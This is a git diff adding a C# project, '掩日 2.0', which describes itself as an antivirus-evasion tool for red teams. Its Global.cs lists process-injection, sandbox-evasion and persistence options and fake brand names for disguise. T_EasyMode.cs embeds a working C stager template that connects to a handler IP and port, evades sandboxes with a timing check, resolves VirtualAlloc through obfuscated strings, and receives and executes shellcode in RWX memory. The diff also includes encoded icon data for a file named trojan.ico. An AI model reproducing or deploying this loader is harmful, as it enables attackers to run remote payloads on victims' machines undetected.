XHrZhFyf2YRcv9mEXM3ZhFzT2YRc1dmEXNnZhFzb2YRc29mEXNnZhFzX2YRc09mEXM3ZhFzB2YRcp9mE + W4fZhFxs2YRcUtmEXDLZhFwa2YRcCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2YRcBNmEXBbZhFww2YRcQNmEXFDYhFxW2IRcYNmE + XGTZhFxk2IRcYNiEXFjZhFxQ2YNcRNmEXDLZhFwc2YRcBgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA//////////////////////////////////////////////////////// + ////////////////////////////////////////////////////////////////////////////A/// + ///wH////////////AB/////wAf///////////AAP////4AD///////////wAB////8AAf////////// + 4AAP///+AAD//////////8AAD////gAA///////////AAAf///wAAH//////////gAAH///8AAB///// + /////4AAB////AAAP/////////+AAAf///gAAD//////////gAAD///4AAA/////////4AAAAAAAAAAA + Af///////8AAAAAAAAAAAAB///////+AAAAAAAAAAAAAP///////AAAAAAAAAAAAAD///////wAAAAAA + AAAAAAAf//////8AAAAAAAAAAAAAH///////AAAAAAAAAAAAAB///////wAAAAAAAAAAAAAf//////8A + AAAAAAAAAAAAH///////AAAAAAAAAAAAAB///////wAAAAAAAAAAAAAf//////8AAAAAAAAAAAAAH/// + ////AAAAAAAAAAAAAB///////4AAAAAAAAAAAAA///////+AAAAAAAAAAAAAP///////wAAAAAAAAAAA + AH////////AAAAAAAAAAAAH/////////4Af/////AB///////////+AH/////4Af///////////gA/// + //8AH///////////4AP/////AB///////////+AB/////gAf///////////gAf////4AH/////////// + 4AD////8AB///////////+AA/////AAf///////////gAP////gAH///////////4AB////4AB////// + /////+AAf///8AAf///////////gAD////AAH///////////4AA////wAB//////////+OAAH///4AAf + /////////8AAAB///8AAH/////////8AAAAP//+AAB/////////+AAAAAAAAAAAf/////////AAAAAAA + AAAAH/////////wAAAAAAAAAAB/////////8AAAAAAAAAAAf/////////AAAAAAAAAAAH/////////4A + AAAAAAAAAB/////////+AAAAAAAAAAAf/////////wAAAAAAAAAAH/////////8AAAAAAAAAAB////// + ////AAAAAAAAAAAf/////////wAAAAAAAAAAH/////////8AAAAAAAAAAB//8H//////AAAAAAAAAAAf + /+AP/////wAAAAAAAAAAH//AA/////8AAAAAAAAAAB//gAD/////AAAAAAAAAAAf/wAA/////wAAAAAA + AAAAH/8AAH////8AAAAAAAAAAB/+AAB/////AAAAAAAAAAAf/gAAf////wAAAAAAAAAAH/wAAH////8A + AAAAAAAAAA/8AAB/////AAAAAAAAAAAP/AAAf////wAAAAAAAAAAB/gAAH////8AAAAAAAAAAAf4AAB/ + ////AAAAAAAAAAAD+AAAf////wAAAAAAAAAAAfgAAD////8AAAAAAAAAAAD4AAA/////AAAAAAAAAAAA + cAAAH////wAAAAAAAAAAABAAAA////8AAAAAAAAAAAAAAAAP////gAAAAAAAAAAAAAAAB////4AAAAAA + AAAAAAAAAAP////AAAAAAAAAAAAAAAAD////4AAAAAAAAAAAAAAAAf////AAAAAAAAAAAAAAAAH////4 + BgAAAAAAAAAAAAAA//////8AAAAAAAAAAAAAAP//////gAAAAAAAAAAAAAD//////+AAAAAAAAAAAAAA + f//////wAAAAAAAAAAAAAH///////gAAAAAAAAAAAAB///////////4AAAAAAAAAP///////////wAAA + AAAAAA///////////+AAAAAAAAAD///////////wAAAAAAAAAP//////////+AAAAAAAAAB///////// + //wAAAAAAAAAf//////////+AAAAAAAAAD///////////wAAAAAAAAA///////////8AAAAAAAAAP/// + ////////AAAAAAAAAD///////////gAAAAAAAAA///////////4AAAAAAAAAP//////////8AAAAAAAA + AD///////////AAAAAAAAAA///////////wAAAAAAAAAf//////////8AAAAAAAAAH///////////AAA + AAAAAAD///////////wAAAAAAAAA///////////8AAAAAAAAAf///////////gAAAAAAAAP///////// + //4AAAAAAAAD////////////AAAAAAAAB////////////4AAAAAAAA/////////////AAAAAAAA///// + ////////8AAAAAAAf/////////////gAAAAAAf/////////////+AAAAAAP//////////////4AAAAAD + ///////////////gAAAAZ///////////////+AAAA//////////////////AAH////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////8= + + + \ No newline at end of file diff --git "a/\346\216\251\346\227\2452.0/Global.cs" "b/\346\216\251\346\227\2452.0/Global.cs" new file mode 100644 index 0000000..5d45025 --- /dev/null +++ "b/\346\216\251\346\227\2452.0/Global.cs" @@ -0,0 +1,38 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace 掩日2._0 +{ + class Global + { + public static string MINGWPATH; + public static string ICONPATH = ""; + + public static string[] C_Execute = {"执行1-VirtualAlloc", + "执行2-GetProcAddress", + "注入现有进程", + "注入新进程"}; + + public static string[] CS_Execute_x64 = {"执行1-GetProcAddress", + "执行2-VirtualProtect", + "注入现有进程", + "注入新进程"}; + + public static string[] CS_Execute_x86 = {"执行1-GetProcAddress", + "执行2-VirtualProtect"}; + + public static string[] VM_Sandbox = {"不使用", + "沙箱:延时约180秒", + "虚拟机:简单反虚拟机"}; + + //持久化,TODO + public static string[] Persistence = { "不使用", + "写入开机启动目录"}; + + public static string[] Company_name = {"ApplePen", "SAVVYTECH", "TechyType", "TECHIEIE", "TechFLRRY", "TechCODER", "MicroSofter", "Gooogle", + "Webuzz", "Tecazort", "Cyberry", "BigMi", "Facebowl", "Amazzon", "Hundred Poison", "BetaBet"}; + + } +} diff --git "a/\346\216\251\346\227\2452.0/Program.cs" "b/\346\216\251\346\227\2452.0/Program.cs" new file mode 100644 index 0000000..61f1c59 --- /dev/null +++ "b/\346\216\251\346\227\2452.0/Program.cs" @@ -0,0 +1,21 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Windows.Forms; + +namespace 掩日2._0 +{ + static class Program + { + /// + /// 应用程序的主入口点。 + /// + [STAThread] + static void Main() + { + Application.EnableVisualStyles(); + Application.SetCompatibleTextRenderingDefault(false); + Application.Run(new Form1()); + } + } +} diff --git "a/\346\216\251\346\227\2452.0/Properties/AssemblyInfo.cs" "b/\346\216\251\346\227\2452.0/Properties/AssemblyInfo.cs" new file mode 100644 index 0000000..5e89857 --- /dev/null +++ "b/\346\216\251\346\227\2452.0/Properties/AssemblyInfo.cs" @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// 有关程序集的一般信息由以下 +// 控制。更改这些特性值可修改 +// 与程序集关联的信息。 +[assembly: AssemblyTitle("掩日 2.0 - Advanced AV Evasion Tool For Red Team")] +[assembly: AssemblyDescription("掩日 2.0 - Advanced AV Evasion Tool For Red Team")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("1y0n.com")] +[assembly: AssemblyProduct("掩日2.0")] +[assembly: AssemblyCopyright("MIT © 1y0n.com")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// 将 ComVisible 设置为 false 会使此程序集中的类型 +//对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型 +//请将此类型的 ComVisible 特性设置为 true。 +[assembly: ComVisible(false)] + +// 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID +[assembly: Guid("7898617d-08d2-4297-adfe-5edd5c1b828b")] + +// 程序集的版本信息由下列四个值组成: +// +// 主版本 +// 次版本 +// 生成号 +// 修订号 +// +//可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值 +//通过使用 "*",如下所示: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("2.0.0.0")] +[assembly: AssemblyFileVersion("2.0.0.0")] diff --git "a/\346\216\251\346\227\2452.0/Properties/Resources.Designer.cs" "b/\346\216\251\346\227\2452.0/Properties/Resources.Designer.cs" new file mode 100644 index 0000000..406c966 --- /dev/null +++ "b/\346\216\251\346\227\2452.0/Properties/Resources.Designer.cs" @@ -0,0 +1,71 @@ +//------------------------------------------------------------------------------ +// +// 此代码由工具生成。 +// 运行时版本: 4.0.30319.42000 +// +// 对此文件的更改可能导致不正确的行为,如果 +// 重新生成代码,则所做更改将丢失。 +// +//------------------------------------------------------------------------------ + +namespace 掩日2._0.Properties +{ + + + /// + /// 强类型资源类,用于查找本地化字符串等。 + /// + // 此类是由 StronglyTypedResourceBuilder + // 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。 + // 若要添加或删除成员,请编辑 .ResX 文件,然后重新运行 ResGen + // (以 /str 作为命令选项),或重新生成 VS 项目。 + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + internal class Resources + { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() + { + } + + /// + /// 返回此类使用的缓存 ResourceManager 实例。 + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Resources.ResourceManager ResourceManager + { + get + { + if ((resourceMan == null)) + { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("掩日2._0.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// 覆盖当前线程的 CurrentUICulture 属性 + /// 使用此强类型的资源类的资源查找。 + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Globalization.CultureInfo Culture + { + get + { + return resourceCulture; + } + set + { + resourceCulture = value; + } + } + } +} diff --git "a/\346\216\251\346\227\2452.0/Properties/Resources.resx" "b/\346\216\251\346\227\2452.0/Properties/Resources.resx" new file mode 100644 index 0000000..ffecec8 --- /dev/null +++ "b/\346\216\251\346\227\2452.0/Properties/Resources.resx" @@ -0,0 +1,117 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git "a/\346\216\251\346\227\2452.0/Properties/Settings.Designer.cs" "b/\346\216\251\346\227\2452.0/Properties/Settings.Designer.cs" new file mode 100644 index 0000000..cf8e30a --- /dev/null +++ "b/\346\216\251\346\227\2452.0/Properties/Settings.Designer.cs" @@ -0,0 +1,30 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace 掩日2._0.Properties +{ + + + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "11.0.0.0")] + internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase + { + + private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); + + public static Settings Default + { + get + { + return defaultInstance; + } + } + } +} diff --git "a/\346\216\251\346\227\2452.0/Properties/Settings.settings" "b/\346\216\251\346\227\2452.0/Properties/Settings.settings" new file mode 100644 index 0000000..abf36c5 --- /dev/null +++ "b/\346\216\251\346\227\2452.0/Properties/Settings.settings" @@ -0,0 +1,7 @@ + + + + + + + diff --git "a/\346\216\251\346\227\2452.0/T_C_VirtualAlloc.cs" "b/\346\216\251\346\227\2452.0/T_C_VirtualAlloc.cs" new file mode 100644 index 0000000..1be69dd --- /dev/null +++ "b/\346\216\251\346\227\2452.0/T_C_VirtualAlloc.cs" @@ -0,0 +1,18 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace 掩日2._0 +{ + class T_C_VirtualAlloc + { + public static string code = ""; + + public static string Getcode() + { + code = ""; + return code; + } + } +} diff --git "a/\346\216\251\346\227\2452.0/T_EasyMode.cs" "b/\346\216\251\346\227\2452.0/T_EasyMode.cs" new file mode 100644 index 0000000..0183350 --- /dev/null +++ "b/\346\216\251\346\227\2452.0/T_EasyMode.cs" @@ -0,0 +1,128 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; + +namespace 掩日2._0 +{ + class T_EasyMode + { + public static string code = ""; + public static string GetCode() + { + code = @"#include +#include +#include +#include +#include + +/* init winsock */ +void winsock_init() { + WSADATA wsaData; + WORD wVersionRequested; + + wVersionRequested = MAKEWORD(2, 2); + + if (WSAStartup(wVersionRequested, &wsaData) < 0) { + WSACleanup(); + exit(1); + } +} + + +/* attempt to receive all of the requested data from the socket */ +int xxxxxx(SOCKET my_socket, void * buffer, int len) { + int tret = 0; + int nret = 0; + void * startb = buffer; + while (tret < len) { + nret = recv(my_socket, (char *)startb, len - tret, 0); + startb += nret; + tret += nret; + } + return tret; +} + +/* establish a connection to a host:port */ +SOCKET wxxxxxx(char * targetip, int port) { + struct hostent * target; + struct sockaddr_in sock; + SOCKET my_socket; + + /* setup our socket */ + my_socket = socket(AF_INET, SOCK_STREAM, 0); + + /* resolve our target */ + target = gethostbyname(targetip); + + + /* copy our target information into the sock */ + memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length); + sock.sin_family = AF_INET; + sock.sin_port = htons(port); + + /* attempt to connect */ + connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)); + + return my_socket; +} + + +int main(int argc, char * argv[]) { + ULONG32 size; + char * buffer; + void (*function)(); + + winsock_init(); + + /* connect to the handler */ + char* testString2 = ((char[]){{{ip}}}); + char* testString3 = ((char[]){'V','i','r','t','u','a','l','A','l','l','o','c','\0'}); + char* testString4 = ((char[]){'k','e','r','n','e','l','3','2','\0'}); + + //绕过沙箱 + clock_t start, finish; + double Total_time; + start = clock(); + Sleep(800); + finish = clock(); + + Total_time = (double)(finish - start); + if(Total_time < 800) + { + return 0; + } + + + SOCKET my_socket = wxxxxxx(testString2, {{port}}); + + /* read the 4-byte length */ + recv(my_socket, (char *)&size, 4, 0); + + /* allocate a RWX buffer */ + typedef LPVOID (WINAPI* VirtualAllocB)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect); + + VirtualAllocB p = (VirtualAllocB)GetProcAddress(GetModuleHandle(testString4), testString3); + buffer = (char*)(*p)(NULL, size+5, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + + /* prepend a little assembly to move our SOCKET value to the EDI register + thanks mihi for pointing this out + BF 78 56 34 12 => mov edi, 0x12345678 */ + buffer[0] = 0xBF; + + /* copy the value of our socket to the buffer */ + memcpy(buffer + 1, &my_socket, 4); + + /* read bytes into the buffer */ + xxxxxx(my_socket, buffer + 5, size); + + /* cast our buffer as a function and call it */ + (*(void(*)())buffer)(); + + return 0; +} +"; + return code; + } + } +} diff --git "a/\346\216\251\346\227\2452.0/trojan.ico" "b/\346\216\251\346\227\2452.0/trojan.ico" new file mode 100644 index 0000000000000000000000000000000000000000..cd7ad6da39e7897ce5e75fd582fa9d83f90b07b6 GIT binary patch literal 67646 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 